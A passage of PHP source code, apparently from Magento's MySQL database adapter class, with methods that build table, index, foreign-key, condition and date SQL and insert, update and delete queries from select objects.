$cDefault = str_replace("'", '', $cDefault);
}
// prepare default value string
if ($ddlType == Varien_Db_Ddl_Table::TYPE_TIMESTAMP) {
if ($cDefault === null) {
$cDefault = new Zend_Db_Expr('NULL');
} elseif ($cDefault == Varien_Db_Ddl_Table::TIMESTAMP_INIT) {
$cDefault = new Zend_Db_Expr('CURRENT_TIMESTAMP');
} else if ($cDefault == Varien_Db_Ddl_Table::TIMESTAMP_UPDATE) {
$cDefault = new Zend_Db_Expr('0 ON UPDATE CURRENT_TIMESTAMP');
} else if ($cDefault == Varien_Db_Ddl_Table::TIMESTAMP_INIT_UPDATE) {
$cDefault = new Zend_Db_Expr('CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP');
} else if ($cNullable && !$cDefault) {
$cDefault = new Zend_Db_Expr('NULL');
} else {
$cDefault = new Zend_Db_Expr('0');
}
} else if (is_null($cDefault) && $cNullable) {
$cDefault = new Zend_Db_Expr('NULL');
}
if (empty($options['COMMENT'])) {
$comment = '';
} else {
$comment = $options['COMMENT'];
}
//set column position
$after = null;
if (!empty($options['AFTER'])) {
$after = $options['AFTER'];
}
return sprintf('%s%s%s%s%s COMMENT %s %s',
$cType,
$cUnsigned ? ' UNSIGNED' : '',
$cNullable ? ' NULL' : ' NOT NULL',
$cDefault !== false ? $this->quoteInto(' default ?', $cDefault) : '',
$cIdentity ? ' auto_increment' : '',
$this->quote($comment),
$after ? 'AFTER ' . $this->quoteIdentifier($after) : ''
);
}
/**
* Drop table from database
*
* @param string $tableName
* @param string $schemaName
* @return boolean
*/
public function dropTable($tableName, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$query = 'DROP TABLE IF EXISTS ' . $table;
$this->query($query);
return true;
}
/**
* Drop temporary table from database
*
* @param string $tableName
* @param string $schemaName
* @return boolean
*/
public function dropTemporaryTable($tableName, $schemaName = null)
{
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$query = 'DROP TEMPORARY TABLE IF EXISTS ' . $table;
$this->query($query);
return $this;
}
/**
* Truncate a table
*
* @param string $tableName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
* @throws Zend_Db_Exception
*/
public function truncateTable($tableName, $schemaName = null)
{
if (!$this->isTableExists($tableName, $schemaName)) {
throw new Zend_Db_Exception(sprintf('Table "%s" is not exists', $tableName));
}
$table = $this->quoteIdentifier($this->_getTableName($tableName, $schemaName));
$query = 'TRUNCATE TABLE ' . $table;
$this->query($query);
return $this;
}
/**
* Check is a table exists
*
* @param string $tableName
* @param string $schemaName
* @return boolean
*/
public function isTableExists($tableName, $schemaName = null)
{
return $this->showTableStatus($tableName, $schemaName) !== false;
}
/**
* Rename table
*
* @param string $oldTableName
* @param string $newTableName
* @param string $schemaName
* @return boolean
* @throws Zend_Db_Exception
*/
public function renameTable($oldTableName, $newTableName, $schemaName = null)
{
if (!$this->isTableExists($oldTableName, $schemaName)) {
throw new Zend_Db_Exception(sprintf('Table "%s" is not exists', $oldTableName));
}
if ($this->isTableExists($newTableName, $schemaName)) {
throw new Zend_Db_Exception(sprintf('Table "%s" already exists', $newTableName));
}
$oldTable = $this->_getTableName($oldTableName, $schemaName);
$newTable = $this->_getTableName($newTableName, $schemaName);
$query = sprintf('ALTER TABLE %s RENAME TO %s', $oldTable, $newTable);
$this->query($query);
$this->resetDdlCache($oldTableName, $schemaName);
return true;
}
/**
* Rename several tables
*
* @param array $tablePairs array('oldName' => 'Name1', 'newName' => 'Name2')
*
* @return boolean
* @throws Zend_Db_Exception
*/
public function renameTablesBatch(array $tablePairs)
{
if (count($tablePairs) == 0) {
throw new Zend_Db_Exception('Please provide tables for rename');
}
$renamesList = array();
$tablesList = array();
foreach ($tablePairs as $pair) {
$oldTableName = $pair['oldName'];
$newTableName = $pair['newName'];
$renamesList[] = sprintf('%s TO %s', $oldTableName, $newTableName);
$tablesList[$oldTableName] = $oldTableName;
$tablesList[$newTableName] = $newTableName;
}
$query = sprintf('RENAME TABLE %s', implode(',', $renamesList));
$this->query($query);
foreach ($tablesList as $table) {
$this->resetDdlCache($table);
}
return true;
}
/**
* Add new index to table name
*
* @param string $tableName
* @param string $indexName
* @param string|array $fields the table column name or array of ones
* @param string $indexType the index type
* @param string $schemaName
* @return Zend_Db_Statement_Interface
* @throws Zend_Db_Exception|Exception
*/
public function addIndex($tableName, $indexName, $fields,
$indexType = Varien_Db_Adapter_Interface::INDEX_TYPE_INDEX, $schemaName = null)
{
$columns = $this->describeTable($tableName, $schemaName);
$keyList = $this->getIndexList($tableName, $schemaName);
$query = sprintf('ALTER TABLE %s', $this->quoteIdentifier($this->_getTableName($tableName, $schemaName)));
if (isset($keyList[strtoupper($indexName)])) {
if ($keyList[strtoupper($indexName)]['INDEX_TYPE'] == Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY) {
$query .= ' DROP PRIMARY KEY,';
} else {
$query .= sprintf(' DROP INDEX %s,', $this->quoteIdentifier($indexName));
}
}
if (!is_array($fields)) {
$fields = array($fields);
}
$fieldSql = array();
foreach ($fields as $field) {
if (!isset($columns[$field])) {
$msg = sprintf('There is no field "%s" that you are trying to create an index on "%s"',
$field, $tableName);
throw new Zend_Db_Exception($msg);
}
$fieldSql[] = $this->quoteIdentifier($field);
}
$fieldSql = implode(',', $fieldSql);
switch (strtolower($indexType)) {
case Varien_Db_Adapter_Interface::INDEX_TYPE_PRIMARY:
$condition = 'PRIMARY KEY';
break;
case Varien_Db_Adapter_Interface::INDEX_TYPE_UNIQUE:
$condition = 'UNIQUE ' . $this->quoteIdentifier($indexName);
break;
case Varien_Db_Adapter_Interface::INDEX_TYPE_FULLTEXT:
$condition = 'FULLTEXT ' . $this->quoteIdentifier($indexName);
break;
default:
$condition = 'INDEX ' . $this->quoteIdentifier($indexName);
break;
}
$query .= sprintf(' ADD %s (%s)', $condition, $fieldSql);
$cycle = true;
while ($cycle === true) {
try {
$result = $this->raw_query($query);
$cycle = false;
} catch (Exception $e) {
if (in_array(strtolower($indexType), array('primary', 'unique'))) {
$match = array();
if (preg_match('#SQLSTATE\[23000\]: [^:]+: 1062[^\']+\'([\d-\.]+)\'#', $e->getMessage(), $match)) {
$ids = explode('-', $match[1]);
$this->_removeDuplicateEntry($tableName, $fields, $ids);
continue;
}
}
throw $e;
}
}
$this->resetDdlCache($tableName, $schemaName);
return $result;
}
/**
* Drop the index from table
*
* @param string $tableName
* @param string $keyName
* @param string $schemaName
* @return bool|Zend_Db_Statement_Interface
*/
public function dropIndex($tableName, $keyName, $schemaName = null)
{
$indexList = $this->getIndexList($tableName, $schemaName);
$keyName = strtoupper($keyName);
if (!isset($indexList[$keyName])) {
return true;
}
if ($keyName == 'PRIMARY') {
$cond = 'DROP PRIMARY KEY';
} else {
$cond = 'DROP KEY ' . $this->quoteIdentifier($indexList[$keyName]['KEY_NAME']);
}
$sql = sprintf('ALTER TABLE %s %s',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
$cond);
$this->resetDdlCache($tableName, $schemaName);
return $this->raw_query($sql);
}
/**
* Add new Foreign Key to table
* If Foreign Key with same name is exist - it will be deleted
*
* @param string $fkName
* @param string $tableName
* @param string $columnName
* @param string $refTableName
* @param string $refColumnName
* @param string $onDelete
* @param string $onUpdate
* @param boolean $purge trying remove invalid data
* @param string $schemaName
* @param string $refSchemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function addForeignKey($fkName, $tableName, $columnName, $refTableName, $refColumnName,
$onDelete = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE,
$onUpdate = Varien_Db_Adapter_Interface::FK_ACTION_CASCADE,
$purge = false, $schemaName = null, $refSchemaName = null)
{
$this->dropForeignKey($tableName, $fkName, $schemaName);
if ($purge) {
$this->purgeOrphanRecords($tableName, $columnName, $refTableName, $refColumnName, $onDelete);
}
$query = sprintf('ALTER TABLE %s ADD CONSTRAINT %s FOREIGN KEY (%s) REFERENCES %s (%s)',
$this->quoteIdentifier($this->_getTableName($tableName, $schemaName)),
$this->quoteIdentifier($fkName),
$this->quoteIdentifier($columnName),
$this->quoteIdentifier($this->_getTableName($refTableName, $refSchemaName)),
$this->quoteIdentifier($refColumnName)
);
if ($onDelete !== null) {
$query .= ' ON DELETE ' . strtoupper($onDelete);
}
if ($onUpdate !== null) {
$query .= ' ON UPDATE ' . strtoupper($onUpdate);
}
$result = $this->raw_query($query);
$this->resetDdlCache($tableName);
return $result;
}
/**
* Format Date to internal database date format
*
* @param int|string|Zend_Date $date
* @param boolean $includeTime
* @return Zend_Db_Expr
*/
public function formatDate($date, $includeTime = true)
{
$date = Varien_Date::formatDate($date, $includeTime);
if ($date === null) {
return new Zend_Db_Expr('NULL');
}
return new Zend_Db_Expr($this->quote($date));
}
/**
* Run additional environment before setup
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function startSetup()
{
$this->raw_query("SET SQL_MODE=''");
$this->raw_query("SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0");
$this->raw_query("SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO'");
return $this;
}
/**
* Run additional environment after setup
*
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function endSetup()
{
$this->raw_query("SET SQL_MODE=IFNULL(@OLD_SQL_MODE,'')");
$this->raw_query("SET FOREIGN_KEY_CHECKS=IF(@OLD_FOREIGN_KEY_CHECKS=0, 0, 1)");
return $this;
}
/**
* Build SQL statement for condition
*
* If $condition integer or string - exact value will be filtered ('eq' condition)
*
* If $condition is array is - one of the following structures is expected:
* - array("from" => $fromValue, "to" => $toValue)
* - array("eq" => $equalValue)
* - array("neq" => $notEqualValue)
* - array("like" => $likeValue)
* - array("in" => array($inValues))
* - array("nin" => array($notInValues))
* - array("notnull" => $valueIsNotNull)
* - array("null" => $valueIsNull)
* - array("gt" => $greaterValue)
* - array("lt" => $lessValue)
* - array("gteq" => $greaterOrEqualValue)
* - array("lteq" => $lessOrEqualValue)
* - array("finset" => $valueInSet)
* - array("regexp" => $regularExpression)
* - array("seq" => $stringValue)
* - array("sneq" => $stringValue)
*
* If non matched - sequential array is expected and OR conditions
* will be built using above mentioned structure
*
* @param string|array $fieldName
* @param integer|string|array $condition
* @return string
*/
public function prepareSqlCondition($fieldName, $condition)
{
$conditionKeyMap = array(
'eq' => "{{fieldName}} = ?",
'neq' => "{{fieldName}} != ?",
'like' => "{{fieldName}} LIKE ?",
'nlike' => "{{fieldName}} NOT LIKE ?",
'in' => "{{fieldName}} IN(?)",
'nin' => "{{fieldName}} NOT IN(?)",
'is' => "{{fieldName}} IS ?",
'notnull' => "{{fieldName}} IS NOT NULL",
'null' => "{{fieldName}} IS NULL",
'gt' => "{{fieldName}} > ?",
'lt' => "{{fieldName}} < ?",
'gteq' => "{{fieldName}} >= ?",
'lteq' => "{{fieldName}} <= ?",
'finset' => "FIND_IN_SET(?, {{fieldName}})",
'regexp' => "{{fieldName}} REGEXP ?",
'from' => "{{fieldName}} >= ?",
'to' => "{{fieldName}} <= ?",
'seq' => null,
'sneq' => null
);
$query = '';
if (is_array($condition)) {
$key = key(array_intersect_key($condition, $conditionKeyMap));
if (isset($condition['from']) || isset($condition['to'])) {
if (isset($condition['from'])) {
$from = $this->_prepareSqlDateCondition($condition, 'from');
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['from'], $from, $fieldName);
}
if (isset($condition['to'])) {
$query .= empty($query) ? '' : ' AND ';
$to = $this->_prepareSqlDateCondition($condition, 'to');
$query = $this->_prepareQuotedSqlCondition($query . $conditionKeyMap['to'], $to, $fieldName);
}
} elseif (array_key_exists($key, $conditionKeyMap)) {
$value = $condition[$key];
if (($key == 'seq') || ($key == 'sneq')) {
$key = $this->_transformStringSqlCondition($key, $value);
}
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap[$key], $value, $fieldName);
} else {
$queries = array();
foreach ($condition as $orCondition) {
$queries[] = sprintf('(%s)', $this->prepareSqlCondition($fieldName, $orCondition));
}
$query = sprintf('(%s)', implode(' OR ', $queries));
}
} else {
$query = $this->_prepareQuotedSqlCondition($conditionKeyMap['eq'], (string)$condition, $fieldName);
}
return $query;
}
/**
* Prepare Sql condition
*
* @param $text Condition value
* @param mixed $value
* @param string $fieldName
* @return string
*/
protected function _prepareQuotedSqlCondition($text, $value, $fieldName)
{
$sql = $this->quoteInto($text, $value);
$sql = str_replace('{{fieldName}}', $fieldName, $sql);
return $sql;
}
/**
* Transforms sql condition key 'seq' / 'sneq' that is used for comparing string values to its analog:
* - 'null' / 'notnull' for empty strings
* - 'eq' / 'neq' for non-empty strings
*
* @param string $conditionKey
* @param mixed $value
* @return string
*/
protected function _transformStringSqlCondition($conditionKey, $value)
{
$value = (string) $value;
if ($value == '') {
return ($conditionKey == 'seq') ? 'null' : 'notnull';
} else {
return ($conditionKey == 'seq') ? 'eq' : 'neq';
}
}
/**
* Prepare value for save in column
* Return converted to column data type value
*
* @param array $column the column describe array
* @param mixed $value
* @return mixed
*/
public function prepareColumnValue(array $column, $value)
{
if ($value instanceof Zend_Db_Expr) {
return $value;
}
if ($value instanceof Varien_Db_Statement_Parameter) {
return $value;
}
// return original value if invalid column describe data
if (!isset($column['DATA_TYPE'])) {
return $value;
}
// return null
if (is_null($value) && $column['NULLABLE']) {
return null;
}
switch ($column['DATA_TYPE']) {
case 'smallint':
case 'int':
$value = (int)$value;
break;
case 'bigint':
if (!is_integer($value)) {
$value = sprintf('%.0f', (float)$value);
}
break;
case 'decimal':
$precision = 10;
$scale = 0;
if (isset($column['SCALE'])) {
$scale = $column['SCALE'];
}
if (isset($column['PRECISION'])) {
$precision = $column['PRECISION'];
}
$format = sprintf('%%%d.%dF', $precision - $scale, $scale);
$value = (float)sprintf($format, $value);
break;
case 'float':
$value = (float)sprintf('%F', $value);
break;
case 'date':
$value = $this->formatDate($value, false);
break;
case 'datetime':
case 'timestamp':
$value = $this->formatDate($value);
break;
case 'varchar':
case 'mediumtext':
case 'text':
case 'longtext':
$value = (string)$value;
if ($column['NULLABLE'] && $value == '') {
$value = null;
}
break;
case 'varbinary':
case 'mediumblob':
case 'blob':
case 'longblob':
// No special processing for MySQL is needed
break;
}
return $value;
}
/**
* Generate fragment of SQL, that check condition and return true or false value
*
* @param Zend_Db_Expr|Zend_Db_Select|string $expression
* @param string $true true value
* @param string $false false value
*/
public function getCheckSql($expression, $true, $false)
{
if ($expression instanceof Zend_Db_Expr || $expression instanceof Zend_Db_Select) {
$expression = sprintf("IF((%s), %s, %s)", $expression, $true, $false);
} else {
$expression = sprintf("IF(%s, %s, %s)", $expression, $true, $false);
}
return new Zend_Db_Expr($expression);
}
/**
* Returns valid IFNULL expression
*
* @param Zend_Db_Expr|Zend_Db_Select|string $expression
* @param string $value OPTIONAL. Applies when $expression is NULL
* @return Zend_Db_Expr
*/
public function getIfNullSql($expression, $value = 0)
{
if ($expression instanceof Zend_Db_Expr || $expression instanceof Zend_Db_Select) {
$expression = sprintf("IFNULL((%s), %s)", $expression, $value);
} else {
$expression = sprintf("IFNULL(%s, %s)", $expression, $value);
}
return new Zend_Db_Expr($expression);
}
/**
* Generate fragment of SQL, that check value against multiple condition cases
* and return different result depends on them
*
* @param string $valueName Name of value to check
* @param array $casesResults Cases and results
* @param string $defaultValue value to use if value doesn't conform to any cases
*
* @return Zend_Db_Expr
*/
public function getCaseSql($valueName, $casesResults, $defaultValue = null)
{
$expression = 'CASE ' . $valueName;
foreach ($casesResults as $case => $result) {
$expression .= ' WHEN ' . $case . ' THEN ' . $result;
}
if ($defaultValue !== null) {
$expression .= ' ELSE ' . $defaultValue;
}
$expression .= ' END';
return new Zend_Db_Expr($expression);
}
/**
* Generate fragment of SQL, that combine together (concatenate) the results from data array
* All arguments in data must be quoted
*
* @param array $data
* @param string $separator concatenate with separator
* @return Zend_Db_Expr
*/
public function getConcatSql(array $data, $separator = null)
{
$format = empty($separator) ? 'CONCAT(%s)' : "CONCAT_WS('{$separator}', %s)";
return new Zend_Db_Expr(sprintf($format, implode(', ', $data)));
}
/**
* Generate fragment of SQL that returns length of character string
* The string argument must be quoted
*
* @param string $string
* @return Zend_Db_Expr
*/
public function getLengthSql($string)
{
return new Zend_Db_Expr(sprintf('LENGTH(%s)', $string));
}
/**
* Generate fragment of SQL, that compare with two or more arguments, and returns the smallest
* (minimum-valued) argument
* All arguments in data must be quoted
*
* @param array $data
* @return Zend_Db_Expr
*/
public function getLeastSql(array $data)
{
return new Zend_Db_Expr(sprintf('LEAST(%s)', implode(', ', $data)));
}
/**
* Generate fragment of SQL, that compare with two or more arguments, and returns the largest
* (maximum-valued) argument
* All arguments in data must be quoted
*
* @param array $data
* @return Zend_Db_Expr
*/
public function getGreatestSql(array $data)
{
return new Zend_Db_Expr(sprintf('GREATEST(%s)', implode(', ', $data)));
}
/**
* Get Interval Unit SQL fragment
*
* @param int $interval
* @param string $unit
* @return string
* @throws Zend_Db_Exception
*/
protected function _getIntervalUnitSql($interval, $unit)
{
if (!isset($this->_intervalUnits[$unit])) {
throw new Zend_Db_Exception(sprintf('Undefined interval unit "%s" specified', $unit));
}
return sprintf('INTERVAL %d %s', $interval, $this->_intervalUnits[$unit]);
}
/**
* Add time values (intervals) to a date value
*
* @see INTERVAL_* constants for $unit
*
* @param Zend_Db_Expr|string $date quoted field name or SQL statement
* @param int $interval
* @param string $unit
* @return Zend_Db_Expr
*/
public function getDateAddSql($date, $interval, $unit)
{
$expr = sprintf('DATE_ADD(%s, %s)', $date, $this->_getIntervalUnitSql($interval, $unit));
return new Zend_Db_Expr($expr);
}
/**
* Subtract time values (intervals) to a date value
*
* @see INTERVAL_* constants for $expr
*
* @param Zend_Db_Expr|string $date quoted field name or SQL statement
* @param int|string $interval
* @param string $unit
* @return Zend_Db_Expr
*/
public function getDateSubSql($date, $interval, $unit)
{
$expr = sprintf('DATE_SUB(%s, %s)', $date, $this->_getIntervalUnitSql($interval, $unit));
return new Zend_Db_Expr($expr);
}
/**
* Format date as specified
*
* Supported format Specifier
*
* %H Hour (00..23)
* %i Minutes, numeric (00..59)
* %s Seconds (00..59)
* %d Day of the month, numeric (00..31)
* %m Month, numeric (00..12)
* %Y Year, numeric, four digits
*
* @param string $date quoted date value or non quoted SQL statement(field)
* @param string $format
* @return Zend_Db_Expr
*/
public function getDateFormatSql($date, $format)
{
$expr = sprintf("DATE_FORMAT(%s, '%s')", $date, $format);
return new Zend_Db_Expr($expr);
}
/**
* Extract the date part of a date or datetime expression
*
* @param Zend_Db_Expr|string $date quoted field name or SQL statement
* @return Zend_Db_Expr
*/
public function getDatePartSql($date)
{
return new Zend_Db_Expr(sprintf('DATE(%s)', $date));
}
/**
* Prepare substring sql function
*
* @param Zend_Db_Expr|string $stringExpression quoted field name or SQL statement
* @param int|string|Zend_Db_Expr $pos
* @param int|string|Zend_Db_Expr|null $len
* @return Zend_Db_Expr
*/
public function getSubstringSql($stringExpression, $pos, $len = null)
{
if (is_null($len)) {
return new Zend_Db_Expr(sprintf('SUBSTRING(%s, %s)', $stringExpression, $pos));
}
return new Zend_Db_Expr(sprintf('SUBSTRING(%s, %s, %s)', $stringExpression, $pos, $len));
}
/**
* Prepare standard deviation sql function
*
* @param Zend_Db_Expr|string $expressionField quoted field name or SQL statement
* @return Zend_Db_Expr
*/
public function getStandardDeviationSql($expressionField)
{
return new Zend_Db_Expr(sprintf('STDDEV_SAMP(%s)', $expressionField));
}
/**
* Extract part of a date
*
* @see INTERVAL_* constants for $unit
*
* @param Zend_Db_Expr|string $date quoted field name or SQL statement
* @param string $unit
* @return Zend_Db_Expr
* @throws Zend_Db_Exception
*/
public function getDateExtractSql($date, $unit)
{
if (!isset($this->_intervalUnits[$unit])) {
throw new Zend_Db_Exception(sprintf('Undefined interval unit "%s" specified', $unit));
}
$expr = sprintf('EXTRACT(%s FROM %s)', $this->_intervalUnits[$unit], $date);
return new Zend_Db_Expr($expr);
}
/**
* Minus superfluous characters from hash.
*
* @param $hash
* @param $prefix
* @param $maxCharacters
* @return string
*/
protected function _minusSuperfluous($hash, $prefix, $maxCharacters)
{
$diff = strlen($hash) + strlen($prefix) - $maxCharacters;
$superfluous = $diff / 2;
$odd = $diff % 2;
$hash = substr($hash, $superfluous, - ($superfluous + $odd));
return $hash;
}
/**
* Retrieve valid table name
* Check table name length and allowed symbols
*
* @param string $tableName
* @return string
*/
public function getTableName($tableName)
{
$prefix = 't_';
if (strlen($tableName) > self::LENGTH_TABLE_NAME) {
$shortName = Varien_Db_Helper::shortName($tableName);
if (strlen($shortName) > self::LENGTH_TABLE_NAME) {
$hash = md5($tableName);
if (strlen($prefix.$hash) > self::LENGTH_TABLE_NAME) {
$tableName = $this->_minusSuperfluous($hash, $prefix, self::LENGTH_TABLE_NAME);
} else {
$tableName = $prefix . $hash;
}
} else {
$tableName = $shortName;
}
}
return $tableName;
}
/**
* Retrieve valid index name
* Check index name length and allowed symbols
*
* @param string $tableName
* @param string|array $fields the columns list
* @param string $indexType
* @return string
*/
public function getIndexName($tableName, $fields, $indexType = '')
{
if (is_array($fields)) {
$fields = implode('_', $fields);
}
switch (strtolower($indexType)) {
case Varien_Db_Adapter_Interface::INDEX_TYPE_UNIQUE:
$prefix = 'unq_';
$shortPrefix = 'u_';
break;
case Varien_Db_Adapter_Interface::INDEX_TYPE_FULLTEXT:
$prefix = 'fti_';
$shortPrefix = 'f_';
break;
case Varien_Db_Adapter_Interface::INDEX_TYPE_INDEX:
default:
$prefix = 'idx_';
$shortPrefix = 'i_';
}
$hash = $tableName . '_' . $fields;
if (strlen($hash) + strlen($prefix) > self::LENGTH_INDEX_NAME) {
$short = Varien_Db_Helper::shortName($prefix . $hash);
if (strlen($short) > self::LENGTH_INDEX_NAME) {
$hash = md5($hash);
if (strlen($hash) + strlen($shortPrefix) > self::LENGTH_INDEX_NAME) {
$hash = $this->_minusSuperfluous($hash, $shortPrefix, self::LENGTH_INDEX_NAME);
}
} else {
$hash = $short;
}
} else {
$hash = $prefix . $hash;
}
return strtoupper($hash);
}
/**
* Retrieve valid foreign key name
* Check foreign key name length and allowed symbols
*
* @param string $priTableName
* @param string $priColumnName
* @param string $refTableName
* @param string $refColumnName
* @return string
*/
public function getForeignKeyName($priTableName, $priColumnName, $refTableName, $refColumnName)
{
$prefix = 'fk_';
$hash = sprintf('%s_%s_%s_%s', $priTableName, $priColumnName, $refTableName, $refColumnName);
if (strlen($prefix.$hash) > self::LENGTH_FOREIGN_NAME) {
$short = Varien_Db_Helper::shortName($prefix.$hash);
if (strlen($short) > self::LENGTH_FOREIGN_NAME) {
$hash = md5($hash);
if (strlen($prefix.$hash) > self::LENGTH_FOREIGN_NAME) {
$hash = $this->_minusSuperfluous($hash, $prefix, self::LENGTH_FOREIGN_NAME);
} else {
$hash = $prefix . $hash;
}
} else {
$hash = $short;
}
} else {
$hash = $prefix . $hash;
}
return strtoupper($hash);
}
/**
* Stop updating indexes
*
* @param string $tableName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function disableTableKeys($tableName, $schemaName = null)
{
$tableName = $this->_getTableName($tableName, $schemaName);
$query = sprintf('ALTER TABLE %s DISABLE KEYS', $this->quoteIdentifier($tableName));
$this->query($query);
return $this;
}
/**
* Re-create missing indexes
*
* @param string $tableName
* @param string $schemaName
* @return Varien_Db_Adapter_Pdo_Mysql
*/
public function enableTableKeys($tableName, $schemaName = null)
{
$tableName = $this->_getTableName($tableName, $schemaName);
$query = sprintf('ALTER TABLE %s ENABLE KEYS', $this->quoteIdentifier($tableName));
$this->query($query);
return $this;
}
/**
* Get insert from Select object query
*
* @param Varien_Db_Select $select
* @param string $table insert into table
* @param array $fields
* @param bool|int $mode
* @return string
*/
public function insertFromSelect(Varien_Db_Select $select, $table, array $fields = array(), $mode = false)
{
$query = 'INSERT';
if ($mode == self::INSERT_IGNORE) {
$query .= ' IGNORE';
}
$query = sprintf('%s INTO %s', $query, $this->quoteIdentifier($table));
if ($fields) {
$columns = array_map(array($this, 'quoteIdentifier'), $fields);
$query = sprintf('%s (%s)', $query, join(', ', $columns));
}
$query = sprintf('%s %s', $query, $select->assemble());
if ($mode == self::INSERT_ON_DUPLICATE) {
if (!$fields) {
$describe = $this->describeTable($table);
foreach ($describe as $column) {
if ($column['PRIMARY'] === false) {
$fields[] = $column['COLUMN_NAME'];
}
}
}
$update = array();
foreach ($fields as $k => $v) {
$field = $value = null;
if (!is_numeric($k)) {
$field = $this->quoteIdentifier($k);
if ($v instanceof Zend_Db_Expr) {
$value = $v->__toString();
} elseif (is_string($v)) {
$value = sprintf('VALUES(%s)', $this->quoteIdentifier($v));
} elseif (is_numeric($v)) {
$value = $this->quoteInto('?', $v);
}
} elseif (is_string($v)) {
$value = sprintf('VALUES(%s)', $this->quoteIdentifier($v));
$field = $this->quoteIdentifier($v);
}
if ($field && $value) {
$update[] = sprintf('%s = %s', $field, $value);
}
}
if ($update) {
$query = sprintf('%s ON DUPLICATE KEY UPDATE %s', $query, join(', ', $update));
}
}
return $query;
}
/**
* Get insert queries in array for insert by range with step parameter
*
* @param string $rangeField
* @param Varien_Db_Select $select
* @param int $stepCount
* @return array
* @throws Varien_Db_Exception
*/
public function selectsByRange($rangeField, Varien_Db_Select $select, $stepCount = 100)
{
$queries = array();
$fromSelect = $select->getPart(Varien_Db_Select::FROM);
if (empty($fromSelect)) {
throw new Varien_Db_Exception('Select must have correct FROM part');
}
$tableName = array();
$correlationName = '';
foreach ($fromSelect as $correlationName => $formPart) {
if ($formPart['joinType'] == Varien_Db_Select::FROM) {
$tableName = $formPart['tableName'];
break;
}
}
$selectRange = $this->select()
->from(
$tableName,
array(
new Zend_Db_Expr('MIN(' . $this->quoteIdentifier($rangeField) . ') AS min'),
new Zend_Db_Expr('MAX(' . $this->quoteIdentifier($rangeField) . ') AS max'),
)
);
$rangeResult = $this->fetchRow($selectRange);
$min = $rangeResult['min'];
$max = $rangeResult['max'];
while ($min <= $max) {
$partialSelect = clone $select;
$partialSelect->where(
$this->quoteIdentifier($correlationName) . '.'
. $this->quoteIdentifier($rangeField) . ' >= ?', $min
)
->where(
$this->quoteIdentifier($correlationName) . '.'
. $this->quoteIdentifier($rangeField) . ' < ?', $min+$stepCount
);
$queries[] = $partialSelect;
$min += $stepCount;
}
return $queries;
}
/**
* Convert date format to unix time
*
* @param string|Zend_Db_Expr $date
* @throws Varien_Db_Exception
* @return Zend_Db_Expr
*/
public function getUnixTimestamp($date)
{
$expr = sprintf('UNIX_TIMESTAMP(%s)', $date);
return new Zend_Db_Expr($expr);
}
/**
* Convert unix time to date format
*
* @param int|Zend_Db_Expr $timestamp
* @return mixed
*/
public function fromUnixtime($timestamp)
{
$expr = sprintf('FROM_UNIXTIME(%s)', $timestamp);
return new Zend_Db_Expr($expr);
}
/**
* Get update table query using select object for join and update
*
* @param Varien_Db_Select $select
* @param string|array $table
* @throws Varien_Db_Exception
* @return string
*/
public function updateFromSelect(Varien_Db_Select $select, $table)
{
if (!is_array($table)) {
$table = array($table => $table);
}
// get table name and alias
$keys = array_keys($table);
$tableAlias = $keys[0];
$tableName = $table[$keys[0]];
$query = sprintf('UPDATE %s', $this->quoteTableAs($tableName, $tableAlias));
// render JOIN conditions (FROM Part)
$joinConds = array();
foreach ($select->getPart(Zend_Db_Select::FROM) as $correlationName => $joinProp) {
if ($joinProp['joinType'] == Zend_Db_Select::FROM) {
$joinType = strtoupper(Zend_Db_Select::INNER_JOIN);
} else {
$joinType = strtoupper($joinProp['joinType']);
}
$joinTable = '';
if ($joinProp['schema'] !== null) {
$joinTable = sprintf('%s.', $this->quoteIdentifier($joinProp['schema']));
}
$joinTable .= $this->quoteTableAs($joinProp['tableName'], $correlationName);
$join = sprintf(' %s %s', $joinType, $joinTable);
if (!empty($joinProp['joinCondition'])) {
$join = sprintf('%s ON %s', $join, $joinProp['joinCondition']);
}
$joinConds[] = $join;
}
if ($joinConds) {
$query = sprintf("%s
%s", $query, implode("
", $joinConds));
}
// render UPDATE SET
$columns = array();
foreach ($select->getPart(Zend_Db_Select::COLUMNS) as $columnEntry) {
list($correlationName, $column, $alias) = $columnEntry;
if (empty($alias)) {
$alias = $column;
}
if (!$column instanceof Zend_Db_Expr && !empty($correlationName)) {
$column = $this->quoteIdentifier(array($correlationName, $column));
}
$columns[] = sprintf('%s = %s', $this->quoteIdentifier(array($tableAlias, $alias)), $column);
}
if (!$columns) {
throw new Varien_Db_Exception('The columns for UPDATE statement are not defined');
}
$query = sprintf("%s
SET %s", $query, implode(', ', $columns));
// render WHERE
$wherePart = $select->getPart(Zend_Db_Select::WHERE);
if ($wherePart) {
$query = sprintf("%s
WHERE %s", $query, implode(' ', $wherePart));
}
return $query;
}
/**
* Get delete from select object query
*
* @param Varien_Db_Select $select
* @param string $table the table name or alias used in select
* @return string|int
*/
public function deleteFromSelect(Varien_Db_Select $select, $table)
{
$select = clone $select;
$select->reset(Zend_Db_Select::DISTINCT);
$select->reset(Zend_Db_Select::COLUMNS);
$query = sprintf('DELETE %s %s', $this->quoteIdentifier($table), $select->assemble());
return $query;
}
/**
* Calculate checksum for table or for group of tables
*
* @param array|string $tableNames array of tables names | table name
* @param string $schemaName schema name
* @return arrray
*/
public function getTablesChecksum($tableNames, $schemaName = null)
{
$result = array();
$tableNames = is_array($tableNames) ? $tableNames : array($tableNames);
foreach ($tableNames as $tableName) {
$query = 'CHECKSUM TABLE ' . $this->_getTableName($tableName, $schemaName);
$checkSumArray = $this->fetchRow($query);
$result[$tableName] = $checkSumArray['Checksum'];
}
return $result;
}
/**
* Check if the database support STRAIGHT JOIN
*
* @return boolean
*/
